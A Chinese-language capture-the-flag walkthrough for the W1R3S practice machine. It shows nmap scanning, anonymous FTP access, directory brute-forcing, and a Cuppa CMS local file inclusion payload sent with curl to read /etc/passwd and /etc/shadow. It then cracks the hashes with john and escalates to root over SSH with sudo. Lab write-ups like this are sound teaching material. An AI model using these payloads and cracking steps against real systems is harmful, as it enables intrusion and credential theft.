您被雇来对W1R3S做渗透测试,他们要求您获得root权限并找到标志(位于/root目录中)。
目标:得到root权限&找到flag.txt
目录
1、信息收集
(1)定位靶机IP
(2)端口扫描
(3)脚本扫描
(4)全面扫描
2、FTP渗透
3、Web渗透
4、john爆破
5、ssh远程登录
6、sudo提权
下载好靶机w1r3s,网络改为NAT模式(确保在同一网段)
1、信息收集
(1)定位靶机IP
先不要开靶机,我们先用nmap扫一下整个子网存活的设备
nmap -sn 192.168.47.0/24
默认情况下nmap会同时进行活跃状态和端口状态扫描,使用参数 -sn只进行活跃状态扫描
发现只有四个活跃设备
现在我们打开靶机
再次使用nmap进行上述扫描
nmap -sn 192.168.47.0/24
发现多出了一台设备,至此我们成功定位到了靶机的IP为192.168.88.131
(2)端口扫描
我们知道端口数量有65536个,但实际上nmap默认只会扫描65536中最常用的1000个端口,即如果我们不加任何参数,nmap扫描的是1000个端口,而不是65536个。
使用最小速率10000来扫描靶机ip开放端口,默认是tcp扫描
nmap --min-rate 10000 -p- 192.168.47.154
nmap扫描端口的命令是“nmap -p <port ranges> <target>”,其中<port ranges>表示要扫描的端口范围,可以使用单个端口号、多个端口号之间用逗号隔开,或者使用“-”表示连续的端口范围;<target>表示要扫描的目标地址。
对65536个端口扫描:追加参数 -p "*"
nmap -p "*" 192.168.88.131
不过我们一般不会这样用
我们可以扫描使用频率最高的一些端口,比如对最常用的20个端口扫描
nmap --top-ports 20 192.168.88.131
从这三次的扫描结果我们可以看到有四个端口开放,分别是:21、22、80、3306
21端口可能存在未授权登录,可以尝试匿名登录;22端口可能存在ssh爆破;80端口的web服务可能存在web漏洞可以利用;3306端口是MySQL的默认端口,若Mysql的身份认证存在漏洞,攻击者可以不必提供正确的身份证书便可访问Mysql数据库。
(3)脚本扫描
我们使用nmap自带的web漏扫脚本对这些开放的端口进行扫描
nmap --script=vuln -p21,22,80,3306 192.168.88.131
发现存在低速率DOS(拒绝服务)攻击
不过该漏洞用处不大,这里忽略
(4)全面扫描
我们追加参数 -A 进行全面扫描(-p和前面一样用来指定端口,这里表示全端口扫描)
nmap -p- -A 192.168.88.131
可以看到匿名登录是允许的,接下来我们直接进行FTP渗透
2、FTP渗透
ftp 192.168.88.131
用户名为 anonymous ,密码为空
登陆成功
ls查看当前目录,发现有三个目录,依次进入查看
由于此处远程下载的目标文件均为txt文件, 所以在下载传输的过程中文件是不会损坏的, 若下载的文件为可执行文件或其他二进制文件, 那么需要先执行binary命令再使用mget命令下载文件。
记得要使用 cd .. 先返回到上一级目录,再切换进入其他目录,直接切换是不行的
同样将txt文件下载到本地
查看txt文件内容
01.txt, 其文本内容意思是:"为W1R3S准备的新的FTP服务器", 属于无效信息
02.txt, 内容是两段加密后的字符串,很明显第二个是base64,而第一个则是MD5加密
03.txt, 是一段艺术字体,目前来看也没什么用
对02.txt的内容解密
This is not a password(这不是密码)
It is easy, but not that easy..(这很容易,但没那么容易..)
基本上都是无用信息
查看employee-names.txt文件, 是一份员工列表
查看worktodo.txt, 文件内容是一段颠倒的字符串
进行一些倒置反向处理
大概意思是"我不认为这是拿到root权限的一种方式, 我们有很多工作要做, 停止在这里玩耍..."
暗示我们得换个方向
3、Web渗透
直接访问目标ip地址,查看靶机80端口的web服务,发现是个apache的主页
使用dirsearch对目标主机80端口的web服务进行目录爆破
dirsearch -u 192.168.88.131
爆出两个可疑目录/administrator和/wordpress( wordpress这个框架存在很多漏洞)
也可使用dirb命令实现目录爆破
dirb http://192.168.88.131
结果同上
我们对/administrator目录进行访问
尝试安装,但在添加完信息之后发现没有Administrator创建权限
而/wordpress目录则无法访问
从网站的标题可以看出是该网站的cms为Cuppa,
也可以使用whatweb命令查询
使用searchsploit命令查询Cuppa cms是否存在漏洞
searchsploit cuppa cms
发现存在一处漏洞, 漏洞详情保存在25971.txt中, 将它导出来
searchsploit cuppa cms -m 25971.txt
查看漏洞详情得知, 该cms可通过文件包含漏洞读取任意文件
文件中描述说,/alerts/alertConfigField.php文件urlConfig参数存在LFI(PHP本地文件包含漏洞),可以利用特殊的url,查看本地文件
并且给出了几个payload
使用第二个payload尝试,target就是靶机ip,cuppa是显示cuppa信息的访问页面,即administrator
http://192.168.88.131/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
没有回显
由于url里是get请求,我们换用post请求再试试
使用curl命令提交Post请求:
curl -X POST -d urlConfig=../../../../../../../../../etc/passwd http://192.168.88.131/administrator/alerts/alertConfigField.php
成功得到目标主机的passwd文件内容
用同样的方法尝试读取shadow文件,该文件是用来存放用户名密码的
curl -X POST -d urlConfig=../../../../../../../../../etc/shadow http://192.168.88.131/administrator/alerts/alertConfigField.php
发现两处很明显的用户信息
分别对应着www-data用户:加密密码,w1r3s用户:加密密码
4、john爆破
创建一个新文本将shadow内两处用户信息保存进去
使用john命令进行破解
破解成功,得到:
用户 www-data 密码 www-data
用户 w1r3s 密码 computer
5、ssh远程登录
因为开放了22端口,所以可利用得到的客户端用户名及靶机ip来进行ssh连接
命令格式: ssh 客户端用户名@服务器ip地址
ssh w1r3s@192.168.88.131
远程登录成功
whoami 查看一下当前用户是谁
uname -a 查看系统状态
sudo -l 查看当前用户权限
可以看到当前用户具有所有权限
6、sudo提权
因为w1r3s这个用户具有全权限,这里可以直接提权至root用户
sudo su (sudo可以理解为以管理员身份运行,即以root用户执行命令,su是切换用户)
提权成功
切换到root根目录,直接找到flag
至此,已经完全拿下整台靶机